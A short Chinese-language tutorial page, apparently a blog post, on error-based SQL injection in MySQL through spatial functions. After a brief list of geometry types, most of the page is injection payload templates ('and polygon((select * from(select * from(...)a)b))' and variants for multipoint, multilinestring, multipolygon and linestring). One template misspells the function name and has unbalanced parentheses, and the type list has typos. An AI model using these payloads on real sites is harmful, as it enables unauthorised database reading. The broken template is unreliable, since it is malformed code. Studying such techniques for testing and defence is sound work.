1. 程式人生 > 資料庫 >MYSQL 其他函式報錯注入

MYSQL 其他函式報錯注入

都為空間資料儲存函式,其餘函式的報錯原理與GeometryCollection()原理相同

MYSQL 中的空間資料儲存

MySQL支援以下資料型別:

Geometry:可以儲存所有的幾何型別

Point:簡單點

LINESTRING:簡單線

POLYGON:簡單面

MULTIPOINT:多點

MULITILINESTRING:多線

MUILITIPOLYGON:很多方面

GEOMETRYCOLLECTION:任何幾何集合

約束條件

同geometrycollection()

通過polygon ()報錯

注入程式碼

and polygon((select * from(select * from(操作程式碼)a)b))

通過multipoint ()報錯

注入程式碼

and multipoint((select * from(select * from(操作程式碼)a)b))

通過multlinestring ()報錯

注入程式碼

and multlinestring((select * from (操作程式碼)a)b))

通過multpolygon ()報錯

注入程式碼

and multipolygon((select * from(select * from(操作程式碼)a)b))

通過linestring ()報錯

注入程式碼

and linestring((select * from(select * from(操作程式碼)a)b))